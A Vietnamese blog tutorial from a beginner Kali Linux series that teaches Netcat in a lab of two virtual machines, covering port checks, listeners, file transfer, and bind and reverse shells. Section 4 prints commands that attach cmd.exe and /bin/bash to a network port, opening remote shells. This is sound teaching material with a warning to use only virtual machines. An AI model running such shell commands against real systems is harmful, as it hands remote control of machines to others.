Giải ngố Kali Linux – Phần 9: Bước chân vào con đường Penetration Testing với “mèo mạng” Netcat

Kết thúc Phần 8: Download file trên Linux với wget và curl, xem như bạn đã xong màn dạo đầu với Kali Linux (thực ra phần lớn nội dung từ đầu Series đến giờ là cho Linux nói chung chứ không riêng gì Kali Linux). Từ đoạn này trở đi, tôi sẽ bắt đầu đi vào các vấn đề đặc thù hơn của chương trình giải ngố Kali Linux. Đối tượng được đem ra “mần” hôm nay là Netcat (tôi dịch thô bỉ là “Mèo mạng”).

Netcat ra đời năm 1995 với vai trò là một công cụ Network Penetration Testing (tạm dịch là kiểm tra xâm nhập mạng, tôi có đề cập vấn đề này kỹ hơn trong nội dung Giải ngố Kali Linux – Phần 1: Kali Linux là gì?).

Đây là công cụ đa năng được giang hồ mạng tin dùng như là “Swiss army knife”. Nói tóm gọn cho dễ hình dung thì Netcat hỗ trợ việc đọc, ghi dữ liệu của các kết nối mạng sử dụng TCP/UDP protocol. Còn nói lê thê thì mời bạn “vác ass” xuống các phần chi tiết dưới đây.

#1 Dàn cảnh để thực hiện mưu đồ với Netcat

Trong nội dung kỳ này, để demo minh hoạn đơn giản, tôi sẽ sử dụng 2 con hàng là Windows 10Kali Linux chung đường mạng trên VMware (tôi có đề cập chi tiết vấn đề đề này ở Giải ngố Virtualization – Phần 7: Cấu hình thủ công IP Address trên Kali Linux và đả thông kinh mạch đường mạng, bạn có thể tham khảo thêm nếu cần).

Đây là thông tin địa chỉ IP của con Win 10.

Win 10 IP
Win 10 IP

Đây là thông tin địa chỉ IP của con Kali Linux.

Kali Linux IP
Kali Linux IP

Sau khi thiết lập xong, bạn cần kiểm tra kết nối giữa 2 con hàng này bằng cách ping qua lại xem đã thông suốt chưa. Tôi ping từ Win 10 đến Kali Linux:

ping Win 10 to Kali
ping Win 10 to Kali

Và ping từ Kali Linux đến Win 10.

ping Kali to Win 10
ping Kali to Win 10

Nếu thấy kết quả như trên thì coi như giao thông đã thông suốt.

Lưu ý: Bạn có thể cần chỉnh firewall để mở các port cần cho việc kiểm tra và demo. Nếu bạn chỉ chạy máy ảo để thử cho biết rồi gỡ bỏ thì có thể dùng giải pháp mì ăn liền là tạm thời tắt firewall. Tuy nhiên, nếu có thể, bạn nên tìm hiểu cách cấu hình mở port firewall luôn cho nó “chuẩn cmn mực”.

Quay lại vấn đề dàn cảnh, trên con Kali Linux, mặc định nó đã có sẵn Netcat cho bạn “ăn” rồi. Đối với Windows, bạn sẽ phải lấy về cài vô máy. Bạn có thể tìm riêng thằng Netcat về xài nhưng thông thường, nó hay được “ăn kèm” với một công cụ nổi tiếng khác là Nmap (Nmap nổi tiếng về vấn đề gì tôi xin bàn vào dịp khác). Bạn có thể xem thêm thông tin và tìm file cài đặt ở trang https://nmap.org/ncat/

Sau khi hốt về cài trên Win 10, nó sẽ thêm thông tin vào PATH enviroment variable như sau.

PATH enviroment variable
PATH enviroment variable

Tia nhanh qua cái path trên, tôi sẽ biết cách gọi file thực thi của Netcat tương ứng từ command.

ncat.exe
ncat.exe

Command tương ứng để tôi có thể kiểm tra thông tin của Netcatncat -h.

ncat -h
ncat -h

Rồi, thế làm tạm xong phần dàn cảnh, giờ tôi chuyển sang nội dung chính.

#2 Luôn luôn kết nối, luôn luôn lắng nghe với Netcat

Ở chế độ Client mode (nó chạy Server mode cũng được), Netcat có thể kết nối đến các TCP/UDP port để:

  • Kiểm tra xem port đóng hay mở;
  • Đọc banner của dịch vụ đang lắng nghe trên port;
  • Kết nối thủ công đến dịch vụ mạng.

Để dễ hình dung, tôi xin múa lửa minh họa như sau.

#2.1 Kết nối đến TCP/UDP port

Để kết nối, bạn có thể dùng cú pháp:

nc -nv dest_ip_address dest_port

Trong đó:

  • option -n dùng để bỏ qua phân giải tên miền;
  • option -v tương ứng verbosity để nó phọt ra nhiều thông tin

Tôi sẽ thử kết nối từ Kali Linux đến Win 10. Để có thể kết nối thành công, tôi cần biết trên Win 10 có port nào đang Listening. Một phương án kiểm tra nhanh gọn là sử dụng command:

netstat -ano

netstat -ano
netstat -ano

Và sau đó thử kết nối:

netcat connection to port
netcat connection to port

Như bạn thấy ở trên thì kết nối đến port 134 sẽ bị “Connection refused” còn port 135 thì ngon ăn (nó báo “Open”).

#2.2 Lắng nghe trên TCP/UDP port

Đây là chiêu bạn sẽ thường dùng khi cần debugging network. Cú pháp sử dụng sẽ có dạng:

nc -nlvp dest_port

Trong đó:

  • option -l dùng để khởi tạo listener;
  • option -p chỉ định port để lắng nghe;

Tôi thử trên con Kali Linux với port 9999.

nc -nlvp 9999

netcat listen on port
netcat listen on port

#3 Truyền tải file với Netcat

Ngoài việc  “luôn luôn lắng nghe, luôn luôn thấu hiểu” nói trên, Netcat có khả năng truyền tải file dạng text và binary. Với mấy đại ca Forensics Investigators (kiểu như mấy ông trong Series phim Crime Scene Investigation: Cyber ấy), tính năng này hay được “ăn kèm” với công cụ copy đĩa dd để tạo ảnh đĩa qua mạng. Còn với dạng mì ăn liền, tôi demo đơn giản như sau.

Trên máy Win 10:

ncat -nlvp 9999 > incoming.exe

netcat listen for incoming file
netcat listen for incoming file

Trên máy Kali Linux:

nc -nv 192.168.188.135 9999  <  /usr/share/windows-resources/binaries/wget.exe

netcat send file
netcat send file

Lúc này trên máy Win 10 tôi sẽ thấy có kết nối từ con Kali Linux đến.

connect and receive file
connect and receive file

Lưu ý:

  • Phía trên có sử dụng redirect (“>” và “<”). Tôi đề cập vấn đề này ở Giải ngố Kali Linux – Phần 5: Nâng cấp kỹ năng tìm kiếm trên Linux với grep command
  • incoming.exe là tên minh họa cho dễ hiểu là sắp nhận file thôi, bạn thích đổi kiểu gì cũng được (nhưng phải nhớ tên để kiểm tra)
  • wget.exe lấy từ Kali Linux để minh họa, bạn lấy cái khác cũng được nhưng phải biết đường dẫn tương ứng để gửi (tôi dùng command locate để xác định như ví dụ trên)

Sau khi hoàn tất quá trình chuyển file thì tôi có thể kiểm tra kết quả như sau (incoming.exe là thằng wget.exe tôi chuyển từ Kali Linux sang Win 10)

check received file
check received file

#4 Bind Shell và Reverse Shell với Netcat

Đây cũng là một chiêu hay của Netcat khi dùng command redirection với option -e để thực thi chương trình sau khi hoàn tất kết nối. Hiện ngoại trừ mấy thằng chuyên dùng cho Penetration Testing như Kali Linux, phần lớn các Linux Distro đều loại bỏ option này.

Với option -e, bạn có thể redirect input, output, error message (stdin, stdout, stderr) của file thực thi đến TCP/UDP port thay vì console mặc định.

Lưu ý quan trọng: Việc chạy option -e để minh họa 2 dạng Bind Shell Scenario và Reverse Shell Scenario dưới đây được tôi đơn giản hóa để minh họa nguyên lý. Tình huống thực tế liên quan đến 2 Scenario này thường sẽ phức tạp hơn và yêu cầu bạn phải nắm rõ các vấn đề bảo mật liên quan trước khi động thủ. Do vậy, bạn chỉ nên thử nghiệm các nội dung này trên môi trường máy ảo, đừng lấy máy thật của bạn ra làm “chuột bạch” thử nghiệm mà ăn hành ngập mồm nhé!

#4.1 Bind Shell Scenario

Trong kịch bản Bind Shell này, bạn sẽ có 2 nhân vật là Gà mờ X chạy máy Win 10Bậc thầy Y chạy máy Kali. X đang gặp sự cố với Win 10 và vì là gà mờ chính hiệu nên việc Y hỗ trợ qua điện thoại để tự sửa lỗi là không khả thi. Do vậy, phương án được 2 bên lựa chọn là X sẽ bind cmd.exe trên máy Win 10 vô một TCP port cụ thể (9999 trong các ví dụ sau) sau đó để Y kết nối đến và xử lý. Nói nghe rối vậy thôi chứ lúc này việc X cần làm chỉ là mở cmd và chạy:

ncat -nlvp 9999 -e cmd.exe

netcat bind shell
netcat bind shell

Với dòng lệnh này, trên Win 10,  Netcat đã bound TCP port 9999 với cmd.exe và sẵn sàng redirect input, output, error message từ cmd.exe đến mạng. Với option -e, một khi có kết nối đến cổng 9999 trên máy Win 10 của X, file cmd.exe sẽ được thực thi và command prompt sẽ được hiển thị bên phía kết nối đến (theo ý đồ thiết kế thì sẽ là bậc thầy Y, còn thực tế là Y hay thằng nào khác thì hên xui lắm!). Rồi, sang diễn biến phía bên kia, Y đang ngồi trên máy Kali nghe X báo kết nối đã sẵn sang nên phọt ra dòng lệnh:

nc -nv 192.168.188.135 9999

netcat connect to bind shell
netcat connect to bind shell

Bùm, command prompt bên phía Win10 của X xuất hiện trên máy Kali để Y tha hồ tung tóe với nghiệp remote support.

#4.2 Reverse Shell Scenario

Bây giờ tôi chuyển sang một tình huống thứ 2 cũng với 2 nhân vật chính là Gà mờ XBậc thầy Y. Tuy nhiên lúc này bối cảnh đảo ngược lại X chạy máy KaliY chạy máy Win 10.

Trong kịch bản này X sẽ “gửi command promp” đến máy của Y nên được gọi là Reverse Shell. Cụ thể, phía Y sẽ chạy command sau trên máy Win 10 để thiết lập cho Netcat lắng nghe cái “incoming shell” của X từ máy Kali:

ncat -nlvp 9999

netcat listen for reverse shell
netcat listen for reverse shell

Ở phía bên kia, trên máy Kali, X bắn ra dòng lệnh:

nc -nv 192.168.188.135 9999 -e /bin/bash

netcat send reverse shell
netcat send reverse shell

Lưu ý: /bin/bash là gì tôi có đề cập ở đây Giải ngố Kali Linux – Phần 4: Ép xung tốc độ thao tác Command Line với Bash và nhập môn Bash Script

Một khi kết nối được thiết lập, Netcat trên máy Kali của X sẽ redirect input, output, error message đến máy Win 10 của Y qua port 9999 và Y có thể tương tác với shell này để tùy ý định đoạt số mệnh của X (bên dưới tôi chạy thử command ls từ máy Win 10).

check reverse shell
check reverse shell

Đến đây tôi xin kết thúc chương trình múa lửa minh hoạ kỳ này. Và xin nhắc lại, bạn cần đọc kỹ “Lưu ý quan trọng” tôi đề cập ở đầu Mục 4 phía trên để tránh bốc sh*t trong quá trình vọc vạch nhé.

2 thoughts on “Giải ngố Kali Linux – Phần 9: Bước chân vào con đường Penetration Testing với “mèo mạng” Netcat”

Leave a Reply

Your email address will not be published. Required fields are marked *